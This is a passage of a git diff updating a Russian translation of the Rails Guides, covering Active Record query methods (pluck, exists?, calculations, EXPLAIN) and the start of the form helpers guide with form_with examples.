проигнорирован. ### `find_or_create_by!` @@ -1631,38 +1724,38 @@ end validates :orders_count, presence: true ``` -в модель `Client`. Если попытаетесь создать нового `Client` без передачи `orders_count`, запись будет невалидной и будет вызвано исключение: +в модель `Customer`. Если попытаетесь создать нового `Customer` без передачи `orders_count`, запись будет невалидной и будет вызвано исключение: ```ruby -Client.find_or_create_by!(first_name: 'Andy') +Customer.find_or_create_by!(first_name: 'Andy') # => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank ``` ### `find_or_initialize_by` -Метод `find_or_initialize_by` работает похоже на `find_or_create_by`, но он вызывает не `create`, а `new`. Это означает, что новый экземпляр модели будет создан в памяти, но не будет сохранен в базу данных. Продолжая пример с `find_or_create_by`, теперь нам нужен клиент по имени 'Nick': +Метод `find_or_initialize_by` работает похоже на `find_or_create_by`, но он вызывает не `create`, а `new`. Это означает, что новый экземпляр модели будет создан в памяти, но не будет сохранен в базу данных. Продолжая пример с `find_or_create_by`, теперь нам нужен покупатель по имени 'Nina': ```ruby -nick = Client.find_or_initialize_by(first_name: 'Nick') -# => # +nina = Customer.find_or_initialize_by(first_name: 'Nina') +# => # -nick.persisted? +nina.persisted? # => false -nick.new_record? +nina.new_record? # => true ``` Поскольку объект еще не сохранен в базу данных, сгенерированный SQL выглядит так: ```sql -SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +SELECT * FROM customers WHERE (customers.first_name = 'Nina') LIMIT 1 ``` Когда захотите сохранить его в базу данных, просто вызовите `save`: ```ruby -nick.save +nina.save # => true ``` @@ -1672,12 +1765,12 @@ nick.save Если вы предпочитаете использовать собственные запросы SQL для поиска записей в таблице, можете использовать `find_by_sql`. Метод `find_by_sql` возвратит массив объектов, даже если лежащий в основе запрос вернет всего лишь одну запись. Например, можете запустить такой запрос: ```ruby -Client.find_by_sql("SELECT * FROM clients - INNER JOIN orders ON clients.id = orders.client_id - ORDER BY clients.created_at desc") +Customer.find_by_sql("SELECT * FROM customers + INNER JOIN orders ON customers.id = orders.customer_id + ORDER BY customers.created_at desc") # => [ -# #, -# #, +# #, +# #, # ... # ] ``` @@ -1689,7 +1782,7 @@ Client.find_by_sql("SELECT * FROM clients У `find_by_sql` есть близкий родственник, называемый `connection#select_all`. `select_all` получит объекты из базы данных, используя произвольный SQL, как и в `find_by_sql`, но не создаст их экземпляры. Этот метод вернет экземпляр класса `ActiveRecord::Result` и вызвав `to_a` на этом объекте вернет массив хэшей, где каждый хэш указывает на запись. ```ruby -Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'").to_a +Customer.connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_hash # => [ # {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, # {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} @@ -1701,66 +1794,66 @@ Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE i `pluck` может быть использован для запроса с одним или несколькими столбцами из таблицы, лежащей в основе модели. Он принимает список имен столбцов как аргумент и возвращает массив значений определенных столбцов соответствующего типа данных. ```ruby -Client.where(active: true).pluck(:id) -# SELECT id FROM clients WHERE active = 1 +Book.where(out_of_print: true).pluck(:id) +# SELECT id FROM books WHERE out_of_print = false # => [1, 2, 3] -Client.distinct.pluck(:role) -# SELECT DISTINCT role FROM clients -# => ['admin', 'member', 'guest'] +Order.distinct.pluck(:status) +# SELECT DISTINCT status FROM orders +# => ['shipped', 'being_packed', 'cancelled'] -Client.pluck(:id, :name) -# SELECT clients.id, clients.name FROM clients -# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] +Customer.pluck(:id, :first_name) +# SELECT customers.id, customers.name FROM customers +# => [[1, 'David'], [2, 'Fran'], [3, 'Jose']] ``` `pluck` позволяет заменить такой код: ```ruby -Client.select(:id).map { |c| c.id } +Customer.select(:id).map { |c| c.id } # или -Client.select(:id).map(&:id) +Customer.select(:id).map(&:id) # или -Client.select(:id, :name).map { |c| [c.id, c.name] } +Customer.select(:id, :name).map { |c| [c.id, c.first_name] } ``` на: ```ruby -Client.pluck(:id) +Customer.pluck(:id) # или -Client.pluck(:id, :name) +Customer.pluck(:id, :first_name) ``` В отличие от `select`, `pluck` непосредственно конвертирует результат запроса в массив Ruby, без создания объектов `ActiveRecord`. Это может означать лучшую производительность для больших или часто используемых запросов. Однако, любые переопределения методов в модели будут недоступны. Например: ```ruby -class Client < ApplicationRecord +class Customer < ApplicationRecord def name - "I am #{super}" + "I am #{first_name}" end end -Client.select(:name).map &:name +Customer.select(:first_name).map &:name # => ["I am David", "I am Jeremy", "I am Jose"] -Client.pluck(:name) +Customer.pluck(:first_name) # => ["David", "Jeremy", "Jose"] ``` Вы не ограничены запросом полей из одиночной таблицы, также можно запрашивать несколько таблиц. ```ruby -Client.joins(:comments, :categories).pluck("clients.email, comments.title, categories.name") +Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title") ``` Более того, в отличие от `select` и других скоупов `Relation`, `pluck` вызывает немедленный запрос, и поэтому не может быть соединен с любыми последующими скоупами, хотя он может работать со скоупами, подключенными ранее: ```ruby -Client.pluck(:name).limit(1) +Customer.pluck(:first_name).limit(1) # => NoMethodError: undefined method `limit' for # -Client.limit(1).pluck(:name) +Customer.limit(1).pluck(:first_name) # => ["David"] ``` @@ -1768,9 +1861,9 @@ NOTE: Следует знать, что использование `pluck` за ```ruby # сохраняем связь для ее повторного использования -assoc = Company.includes(:account) +assoc = Customer.includes(:reviews) assoc.pluck(:id) -# SELECT "companies"."id" FROM "companies" LEFT OUTER JOIN "accounts" ON "accounts"."id" = "companies"."account_id" +# SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id" ``` Один из способов избежать этого — `unscope` на includes: @@ -1784,17 +1877,17 @@ assoc.unscope(:includes).pluck(:id) `ids` может быть использован для сбора всех ID для relation, используя первичный ключ таблицы. ```ruby -Person.ids -# SELECT id FROM people +Customer.ids +# SELECT id FROM customers ``` ```ruby -class Person < ApplicationRecord - self.primary_key = "person_id" +class Customer < ApplicationRecord + self.primary_key = "customer_id" end -Person.ids -# SELECT person_id FROM people +Customer.ids +# SELECT customer_id FROM customers ``` Существование объектов @@ -1803,87 +1896,89 @@ Person.ids Если вы просто хотите проверить существование объекта, есть метод, называемый `exists?`. Этот метод запрашивает базу данных, используя тот же запрос, что и `find`, но вместо возврата объекта или коллекции объектов, он возвращает или `true`, или `false`. ```ruby -Client.exists?(1) +Customer.exists?(1) ``` Метод `exists?` также принимает несколько значений, при этом возвращает `true`, если хотя бы одна из этих записей существует. ```ruby -Client.exists?(id: [1,2,3]) +Customer.exists?(id: [1,2,3]) # или -Client.exists?(name: ['John', 'Sergei']) +Customer.exists?(name: ['John', 'Sergei']) ``` Даже возможно использовать `exists?` без аргументов на модели или relation: ```ruby -Client.where(first_name: 'Ryan').exists? +Customer.where(first_name: 'Ryan').exists? ``` -Пример выше вернет `true`, если есть хотя бы один клиент с `first_name` 'Ryan', и `false` в противном случае. +Пример выше вернет `true`, если есть хотя бы один покупатель с `first_name` 'Ryan', и `false` в противном случае. ```ruby -Client.exists? +Customer.exists? ``` -Это возвратит `false`, если таблица `clients` пустая, и `true` в противном случае. +Это возвратит `false`, если таблица `customers` пустая, и `true` в противном случае. -Для проверки на существование также можно использовать `any?` и `many?` на модели или relation. +Для проверки на существование также можно использовать `any?` и `many?` на модели или relation. `many?` будет использовать SQL `count`, для определения, существует ли элемент. ```ruby # на модели -Article.any? -Article.many? +Order.any? # => SELECT 1 AS one FROM orders +Order.many? # => SELECT COUNT(*) FROM orders # на именованном скоупе -Article.recent.any? -Article.recent.many? +Order.shipped.any? # => SELECT 1 AS one FROM orders WHERE orders.status = 0 +Order.shipped.many? # => SELECT COUNT(*) FROM orders WHERE orders.status = 0 # на relation -Article.where(published: true).any? -Article.where(published: true).many? +Book.where(out_of_print: true).any? +Book.where(out_of_print: true).many? # на связи -Article.first.categories.any? -Article.first.categories.many? +Customer.first.orders.any? +Customer.first.orders.many? ``` Вычисления ---------- -Этот раздел использует count для примера в этой преамбуле, но описанные опции применяются ко всем подразделам. +Этот раздел использует `count` для примера в этой преамбуле, но описанные опции применяются ко всем подразделам. Все методы вычисления работают прямо на модели: ```ruby -Client.count -# SELECT COUNT(*) FROM clients +Customer.count +# SELECT COUNT(*) FROM customers ``` Или на relation: ```ruby -Client.where(first_name: 'Ryan').count -# SELECT COUNT(*) FROM clients WHERE (first_name = 'Ryan') +Customer.where(first_name: 'Ryan').count +# SELECT COUNT(*) FROM customers WHERE (first_name = 'Ryan') ``` Можно также использовать различные методы поиска на relation для выполнения сложных вычислений: ```ruby -Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count +Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count ``` Что выполнит: ```sql -SELECT COUNT(DISTINCT clients.id) FROM clients - LEFT OUTER JOIN orders ON orders.client_id = clients.id - WHERE (clients.first_name = 'Ryan' AND orders.status = 'received') +SELECT COUNT(DISTINCT customers.id) FROM customers + LEFT OUTER JOIN orders ON orders.customer_id = customers.id + WHERE (customers.first_name = 'Ryan' AND orders.status = 0) ``` +при условии что в Order есть `enum status: [ :shipped, :being_packed, :cancelled ]` + ### Количество -Если хотите увидеть, сколько записей есть в таблице модели, можете вызвать `Client.count`, и он возвратит число. Если хотите быть более определенным и найти всех клиентов с присутствующим в базе данных возрастом, используйте `Client.count(:age)`. +Если хотите увидеть, сколько записей есть в таблице модели, можете вызвать `Customer.count`, и он возвратит число. Если хотите быть более определенным и найти всех покупателей с присутствующим в базе данных титулом, используйте `Customer.count(:title)`. Про опции смотрите выше в разделе [Вычисления](#vychisleniya). @@ -1892,7 +1987,7 @@ SELECT COUNT(DISTINCT clients.id) FROM clients Если хотите увидеть среднее значение определенного показателя в одной из ваших таблиц, можно вызвать метод `average` для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby -Client.average("orders_count") +Order.average("subtotal") ``` Это возвратит число (возможно, с плавающей запятой, такое как 3.14159265), представляющее среднее значение поля. @@ -1904,7 +1999,7 @@ Client.average("orders_count") Если хотите найти минимальное значение поля в таблице, можете вызвать метод `minimum` для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby -Client.minimum("age") +Order.minimum("subtotal") ``` Про опции смотрите выше в разделе [Вычисления](#vychisleniya). @@ -1914,7 +2009,7 @@ Client.minimum("age") Если хотите найти максимальное значение поля в таблице, можете вызвать метод `maximum` для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby -Client.maximum("age") +Order.maximum("subtotal") ``` Про опции смотрите выше в разделе [Вычисления](#vychisleniya). @@ -1924,7 +2019,7 @@ Client.maximum("age") Если хотите найти сумму полей для всех записей в таблице, можете вызвать метод `sum` для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby -Client.sum("orders_count") +Order.sum("subtotal") ``` Про опции смотрите выше в разделе [Вычисления](#vychisleniya). @@ -1932,22 +2027,24 @@ Client.sum("orders_count") Запуск EXPLAIN -------------- -Можно запустить EXPLAIN на запросах, вызываемых в relations. Например, +Можно запустить EXPLAIN на запросах, вызываемых в relations. Вывод EXPLAIN различается для каждой базы данных. + +Например, запуск ```ruby -User.where(id: 1).joins(:articles).explain +Customer.where(id: 1).joins(:orders).explain ``` может выдать ```sql -EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 -+----+-------------+----------+-------+---------------+ -| id | select_type | table | type | possible_keys | -+----+-------------+----------+-------+---------------+ -| 1 | SIMPLE | users | const | PRIMARY | -| 1 | SIMPLE | articles | ALL | NULL | -+----+-------------+----------+-------+---------------+ +EXPLAIN for: SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1 ++----+-------------+------------+-------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+------------+-------+---------------+ +| 1 | SIMPLE | customers | const | PRIMARY | +| 1 | SIMPLE | orders | ALL | NULL | ++----+-------------+------------+-------+---------------+ +---------+---------+-------+------+-------------+ | key | key_len | ref | rows | Extra | +---------+---------+-------+------+-------------+ @@ -1962,34 +2059,35 @@ EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.` Active Record применяет красивое форматирование, эмулирующее работу соответствующей оболочки базы данных. Таким образом, запуск того же запроса с адаптером PostgreSQL выдаст вместо этого -```sql -EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1 +``` +EXPLAIN for: SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]] QUERY PLAN ------------------------------------------------------------------------------ - Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) - Join Filter: (articles.user_id = users.id) - -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) - Index Cond: (id = 1) - -> Seq Scan on articles (cost=0.00..28.88 rows=8 width=4) - Filter: (articles.user_id = 1) -(6 rows) + Nested Loop (cost=4.33..20.85 rows=4 width=164) + -> Index Scan using customers_pkey on customers (cost=0.15..8.17 rows=1 width=164) + Index Cond: (id = '1'::bigint) + -> Bitmap Heap Scan on orders (cost=4.18..12.64 rows=4 width=8) + Recheck Cond: (customer_id = '1'::bigint) + -> Bitmap Index Scan on index_orders_on_customer_id (cost=0.00..4.18 rows=4 width=0) + Index Cond: (customer_id = '1'::bigint) +(7 rows) ``` Нетерпеливая загрузка может вызвать более одного запроса за раз, и некоторым запросам могут потребоваться результаты предыдущих. Поэтому `explain` фактически выполняет запрос, а затем запрашивает планы запросов. Например, ```ruby -User.where(id: 1).includes(:articles).explain +Customer.where(id: 1).includes(:orders).explain ``` -выдаст +может выдать это для MySQL и MariaDB: -```sql -EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 -+----+-------------+-------+-------+---------------+ -| id | select_type | table | type | possible_keys | -+----+-------------+-------+-------+---------------+ -| 1 | SIMPLE | users | const | PRIMARY | -+----+-------------+-------+-------+---------------+ +``` +EXPLAIN for: SELECT `customers`.* FROM `customers` WHERE `customers`.`id` = 1 ++----+-------------+-----------+-------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+-----------+-------+---------------+ +| 1 | SIMPLE | customers | const | PRIMARY | ++----+-------------+-----------+-------+---------------+ +---------+---------+-------+------+-------+ | key | key_len | ref | rows | Extra | +---------+---------+-------+------+-------+ @@ -1998,12 +2096,12 @@ EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 1 row in set (0.00 sec) -EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN (1) -+----+-------------+----------+------+---------------+ -| id | select_type | table | type | possible_keys | -+----+-------------+----------+------+---------------+ -| 1 | SIMPLE | articles | ALL | NULL | -+----+-------------+----------+------+---------------+ +EXPLAIN for: SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1) ++----+-------------+--------+------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+--------+------+---------------+ +| 1 | SIMPLE | orders | ALL | NULL | ++----+-------------+--------+------+---------------+ +------+---------+------+------+-------------+ | key | key_len | ref | rows | Extra | +------+---------+------+------+-------------+ @@ -2014,7 +2112,18 @@ EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN 1 row in set (0.00 sec) ``` -для MySQL и MariaDB. +и может выдать это для PostgreSQL: + +``` + Customer Load (0.3ms) SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] + Order Load (0.3ms) SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1 [["customer_id", 1]] +=> EXPLAIN for: SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] + QUERY PLAN +---------------------------------------------------------------------------------- + Index Scan using customers_pkey on customers (cost=0.15..8.17 rows=1 width=164) + Index Cond: (id = '1'::bigint) +(2 rows) +``` ### Интерпретация EXPLAIN diff --git a/source/index.yml b/source/index.yml index 25f8c618..8c382c55 100644 --- a/source/index.yml +++ b/source/index.yml @@ -51,8 +51,8 @@ pages: - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md - revision: 2e84228d0ef991aff344d35067f62776968411bc - date: 17/12/2019 + revision: 7066f08cd8595b4a7e6615205ec629c66daa0647 + date: 26/08/2020 - title: Active Record для PostgreSQL path: active-record-postgresql From 4a057190b14945d0dee3c68267191db6fe21f82a Mon Sep 17 00:00:00 2001 From: Mikhail Date: Mon, 5 Oct 2020 14:06:03 +0300 Subject: [PATCH 507/932] Update forms guide --- source/form_helpers.md | 477 +++++++++++++++++++---------------------- source/index.yml | 4 +- 2 files changed, 223 insertions(+), 258 deletions(-) diff --git a/source/form_helpers.md b/source/form_helpers.md index a4160d9c..4f5e96cd 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -21,7 +21,7 @@ NOTE: Это руководство не является подробной д Главный хелпер форм - это `form_with`. ```erb -<%= form_with do %> +<%= form_with do |form| %> Содержимое формы <% end %> ``` @@ -35,7 +35,7 @@ NOTE: Это руководство не является подробной д ``` -Можно увидеть, что HTML содержит элемент `input` с типом `hidden`. Этот `input` важен, поскольку без него форма, у которой action не "GET", не может быть успешно отправлена. Скрытый элемент input с именем `authenticity_token` является особенностью безопасности Rails, называемой **защитой от межсайтовой подделки запроса**, и хелперы форм генерируют его для каждой формы, у которых action не "GET" (при условии, что эта особенность безопасности включена). Подробнее об этом можно прочитать в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). +Можно увидеть, что HTML содержит элемент `input` с типом `hidden`. Этот `input` важен, поскольку без него формы, у которых action не "GET", не могут быть успешно отправлены. Скрытый элемент input с именем `authenticity_token` является особенностью безопасности Rails, называемой **защитой от межсайтовой подделки запроса**, и хелперы форм генерируют его для каждой формы, у которых action не "GET" (при условии, что эта особенность безопасности включена). Подробнее об этом можно прочитать в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). ### Характерная форма поиска @@ -46,22 +46,22 @@ NOTE: Это руководство не является подробной д * элемент поля ввода текста и * элемент отправки. -Чтобы создать эту форму, используем, соответственно, `form_with`, `label_tag`, `text_field_tag` и `submit_tag`. Как здесь: +Чтобы создать эту форму, используем `form_with` и объект построителя формы, который он вкладывает. Как тут: ```erb -<%= form_with(url: "/search", method: "get") do %> - <%= label_tag(:q, "Search for:") %> - <%= text_field_tag(:q) %> - <%= submit_tag("Search") %> +<%= form_with url: "/search", method: :get do |form| %> + <%= form.label :query, "Search for:" %> + <%= form.text_field :query %> + <%= form.submit "Search" %> <% end %> ``` Это сгенерирует следующий HTML: ```html -
    - - + + +
    ``` @@ -74,96 +74,96 @@ IMPORTANT: Используйте "GET" как метод для форм пои ### Хелперы для генерации элементов формы -Rails предоставляет ряд хелперов для генерации элементов формы, таких как чекбоксы, текстовые поля, радиокнопки и так далее. Эти простые хелперы с именами, оканчивающимися на `_tag` (такие как `text_field_tag` и `check_box_tag`), генерируют только один элемент ``. Первый параметр у них это всегда имя поля ввода. Когда форма будет отправлена, имя будет передано вместе с данными формы, и, в свою очередь, помещено в `params` в контроллере со значением, введенным пользователем для этого поля. Например, если форма содержит `<%= text_field_tag(:query) %>`, то значение этого поля можно получить в контроллере с помощью `params[:query]`. +Объект построителя формы, вкладываемый `form_with`, предоставляет ряд вспомогательных методов для генерации элементов формы, таких как чекбоксы, текстовые поля, радиокнопки и так далее. Первый параметр у них это всегда имя поля ввода. Когда форма будет отправлена, имя будет передано вместе с данными формы, и, в свою очередь, помещено в `params` в контроллере со значением, введенным пользователем для этого поля. Например, если форма содержит `<%= form.text_field :query %>`, то значение этого поля можно получить в контроллере с помощью `params[:query]`. -При именовании полей ввода Rails использует определенные соглашения, делающие возможным отправлять параметры с нескалярными величинами, такими как массивы и хэши, которые также будут доступны в `params`. Подробнее об этом можно прочесть в разделе [разделе про именование параметров](#understanding-parameter-naming-conventions). Для подробностей по точному использованию этих хелперов, обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). +При именовании полей ввода Rails использует определенные соглашения, делающие возможным отправлять параметры с нескалярными величинами, такими как массивы и хэши, которые также будут доступны в `params`. Подробнее об этом можно прочесть в разделе [разделе про именование параметров](#understanding-parameter-naming-conventions). Для подробностей по точному использованию этих хелперов, обратитесь к [документации по API](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). #### Чекбоксы Чекбоксы - это элементы управления формой, которые дают пользователю ряд опций, которые он может включить или выключить: ```erb -<%= check_box_tag(:pet_dog) %> -<%= label_tag(:pet_dog, "I own a dog") %> -<%= check_box_tag(:pet_cat) %> -<%= label_tag(:pet_cat, "I own a cat") %> +<%= form.check_box :pet_dog %> +<%= form.label :pet_dog, "I own a dog" %> +<%= form.check_box :pet_cat %> +<%= form.label :pet_cat, "I own a cat" %> ``` Это сгенерирует следующее: ```html - + - + ``` -Первый параметр у `check_box_tag` - это, разумеется, имя поля ввода. Второй параметр - это, естественно, значение поля ввода. Это значение будет включено в данные формы (и будет присутствовать в `params`), когда чекбокс нажат. +Первый параметр у `check_box` - это имя поля ввода. Второй параметр - это значение поля ввода. Это значение будет включено в данные формы (и будет присутствовать в `params`), когда чекбокс нажат. #### Радиокнопки Радиокнопки, чем-то похожие на чекбоксы, являются элементами управления, которые определяют набор взаимоисключающих опций (т.е. пользователь может выбрать только одну): ```erb -<%= radio_button_tag(:age, "child") %> -<%= label_tag(:age_child, "I am younger than 21") %> -<%= radio_button_tag(:age, "adult") %> -<%= label_tag(:age_adult, "I am over 21") %> +<%= form.radio_button :age, "child" %> +<%= form.label :age_child, "I am younger than 21" %> +<%= form.radio_button :age, "adult" %> +<%= form.label :age_adult, "I am over 21" %> ``` Результат: ```html - + - + ``` -Как и у `check_box_tag`, второй параметр для `radio_button_tag` - это значение поля ввода. Так как эти две радиокнопки имеют одинаковое имя (`age`), пользователь может выбрать одну, и `params[:age]` будет содержать или `"child"`, или `"adult"`. +Как и у `check_box`, второй параметр для `radio_button` - это значение поля ввода. Так как эти две радиокнопки имеют одинаковое имя (`age`), пользователь может выбрать одну, и `params[:age]` будет содержать или `"child"`, или `"adult"`. NOTE: Всегда используйте метки (labels) для чекбоксов и радиокнопок. Они связывают текст с определенной опцией и, предоставляя большее пространство для клика, упрощают выбор пользователем нужного пункта радиокнопки. ### Другие интересные хелперы -Среди других элементов управления формой стоит упомянуть текстовые области и следующие поля: паролей, скрытые, поиска, ввода телефона, даты, времени, цвета, локальных даты-времени, месяца, недели, url, email, числовые и интервалов: +Среди других элементов управления формой стоит упомянуть текстовые области и следующие поля: паролей, числовые, даты и времени, и так далее: ```erb -<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> -<%= password_field_tag(:password) %> -<%= hidden_field_tag(:parent_id, "5") %> -<%= search_field(:user, :name) %> -<%= telephone_field(:user, :phone) %> -<%= date_field(:user, :born_on) %> -<%= datetime_local_field(:user, :graduation_day) %> -<%= month_field(:user, :birthday_month) %> -<%= week_field(:user, :birthday_week) %> -<%= url_field(:user, :homepage) %> -<%= email_field(:user, :address) %> -<%= color_field(:user, :favorite_color) %> -<%= time_field(:task, :started_at) %> -<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> -<%= range_field(:product, :discount, in: 1..100) %> +<%= form.text_area :message, size: "70x5" %> +<%= form.hidden_field :parent_id, value: "foo" %> +<%= form.password_field :password %> +<%= form.number_field :price, in: 1.0..20.0, step: 0.5 %> +<%= form.range_field :discount, in: 1..100 %> +<%= form.date_field :born_on %> +<%= form.time_field :started_at %> +<%= form.datetime_local_field :graduation_day %> +<%= form.month_field :birthday_month %> +<%= form.week_field :birthday_week %> +<%= form.search_field :name %> +<%= form.email_field :address %> +<%= form.telephone_field :phone %> +<%= form.url_field :homepage %> +<%= form.color_field :favorite_color %> ``` Результат: ```html - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + ``` Скрытые поля не отображаются пользователю, вместо этого они содержат данные, как и любое текстовое поле. Их значения могут быть изменены с помощью JavaScript. @@ -175,74 +175,50 @@ TIP: Если используются поля для ввода пароля ( Работаем с объектами модели --------------------------- -### Хелперы объекта модели - -Наиболее частыми задачами для форм являются редактирование или создание объекта модели. В то время как хелперы `*_tag`, конечно, могут быть использованы для этой задачи, они несколько многословны, так как для каждого тега вам придется обеспечить использование правильного имени параметра и установку подходящего значения поля ввода по умолчанию. Rails предоставляет хелперы, адаптированные под эту задачу. У этих хелперов отсутствует суффикс `_tag`, например, `text_field`, `text_area`. - -Для этих хелперов первый аргумент - это имя переменной экземпляра, а второй - это имя метода (обычно атрибутного), вызываемого на этом объекта. Rails установит значение value элемента управления input равным возвращаемому значению этого метода для объекта и установит подходящее имя поля ввода. Если ваш контроллер определил `@person` и имя этой персоны Henry, тогда форма, содержащая: - -```erb -<%= text_field(:person, :name) %> -``` - -выдаст подобный результат - -```erb - -``` - -После подтверждения формы, значение, введенное пользователем, будет храниться в `params[:person][:name]`. - -WARNING: Необходимо передавать имя переменной экземпляра, т.е. `:person` или `"person"`, а не фактический экземпляр объекта вашей модели. - -Rails предоставляет хелперы для отображения ошибок валидации, связанных с объектом модели. Детально они раскрываются в руководстве [Отображение ошибок валидации во вьюхах](/active-record-validations#displaying-validation-errors-in-the-view). - ### Привязывание формы к объекту -Хотя комфортность несколько улучшилась, она еще далека от совершенства. Если у `Person` много атрибутов для редактирования, тогда мы должны повторить имя редактируемого объекта много раз. То, что мы хотим сделать, - это как-то привязать форму к объекту модели, что как раз осуществляется с помощью `form_with` с параметром `:model`. +Аргумент `:model` в `form_with` позволяет связать объект построителя формы с объектом модели. Это означает, что эта форма будет будет ограничена этим объектом модели, и поля формы будут предзаполнены значениями из этого объекта модели. -Допустим у нас есть контроллер для работы со статьями `app/controllers/articles_controller.rb`: +К примеру, если у нас есть такой объект модели `@article`: ```ruby -def new - @article = Article.new -end +@article = Article.find(42) +# => #
    ``` -Соответствующая вьюха `app/views/articles/new.html.erb`, использующая `form_with`, выглядит так: +Следующая форма: ```erb -<%= form_with model: @article, class: "nifty_form" do |f| %> - <%= f.text_field :title %> - <%= f.text_area :body, size: "60x12" %> - <%= f.submit "Create" %> +<%= form_with model: @article do |form| %> + <%= form.text_field :title %> + <%= form.text_area :body, size: "60x10" %> + <%= form.submit %> <% end %> ``` -Следует отметить несколько вещей: - -* `@article` - это фактический объект, который редактируется. -* Здесь есть одиночный хэш опций. Опции HTML передаются в хэше `:html`. Также для формы можно предоставить опцию `:namespace`, чтобы быть уверенным в уникальности атрибутов id элементов формы. Генерируемые для HTML id будут начинаться с префикса, заданного атрибутом пространства имен, плюс подчеркивание. -* Метод `form_with` предоставляет объект **form builder** (переменная `f`). -* Если хотите направить запрос формы на определенный url, вместо этого следует использовать `form_with url: my_nifty_url_path`. Подробнее об опциях, которые принимает `form_with`, можно узнать в [документации API](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with). -* Методы создания элементов управления формой вызываются *для* объекта form builder `f`. - -Итоговый HTML: +Выведет: ```html -
    - - - - + + + + +
    ``` -Объект, переданный как `:model` в `form_with`, контролирует ключ, используемый в `params` для доступа к значениям формы. В примере имя `article`, и поэтому все поля ввода имеют имена формы `article[attribute_name]`. Соответственно, в экшне `create` хэш `params[:article]` имеет ключи `:title` и `:body`. Подробнее о значении имен полей ввода можно прочитать в разделе [про именование параметров](#understanding-parameter-naming-conventions) этого руководства. +Тут нужно отметить несколько вещей: + +* `action` формы автоматически заполняется подходящим значением для `@article`. +* Поля формы автоматически заполняются соответствующими значениями из `@article`. +* Имена полей формы ограничиваются с помощью `article[...]`. Это означает, что `params[:article]` будет хэшем, содержащим все значения этих полей. Подробнее о значении имен полей ввода можно прочитать в разделе [про именование параметров](#understanding-parameter-naming-conventions) этого руководства. +* Кнопке отправки автоматически присвоено подходящее текстовое значение. TIP: По соглашению, поля ввода будут отражать атрибуты модели. Однако, это необязательно! Если имеется иная необходимая информация, ее можно включить в форму, также как атрибут, и она будет доступна как `params[:article][:my_nifty_non_attribute_input]`. -Методы хелпера, вызываемые из form builder, идентичны хелперам объекта модели, за исключением того, что не нужно указывать, какой объект будет редактироваться, так как это уже регулируется в form builder. +#### Хелпер `fields_for` Можно создать подобное привязывание без фактического создания тега `
    ` с помощью хелпера `fields_for`. Это полезно для редактирования дополнительных объектов модели в той же форме. Например, если имеется модель `Person` со связанной моделью `ContactDetail`, можно создать форму для создания обеих моделей подобным образом: @@ -293,7 +269,7 @@ form_with(model: @article, url: article_path(@article), method: "patch") form_with(model: @article) ``` -Отметьте, что вызов короткого стиля `form_with` является идентичным, независимо от того, запись новая или уже существует. Идентификация записи достаточно сообразительная, чтобы выяснить, новая ли запись, запрашивая `record.new_record?`. Она также выбирает правильный путь для подтверждения и имя, основанное на классе объекта. +Отметьте, что вызов короткого стиля `form_with` является идентичным, независимо от того, запись новая или уже существует. Идентификация записи достаточно сообразительная, чтобы выяснить, новая ли запись, запрашивая `record.persisted?`. Она также выбирает правильный путь для подтверждения и имя, основанное на классе объекта. WARNING: Когда используется STI (наследование с единой таблицей) с вашими моделями, нельзя полагаться на идентификацию записей подкласса, если только их родительский класс определен ресурсом. Необходимо явно указывать `:url` и `:scope` (имя модели). @@ -340,188 +316,103 @@ IMPORTANT: Все формы с использованием `form_with` по у Легкое создание списков выбора ------------------------------ -Списки выбора в HTML требуют значительного количества разметки (один элемент `OPTION` для каждого пункта списка), поэтому 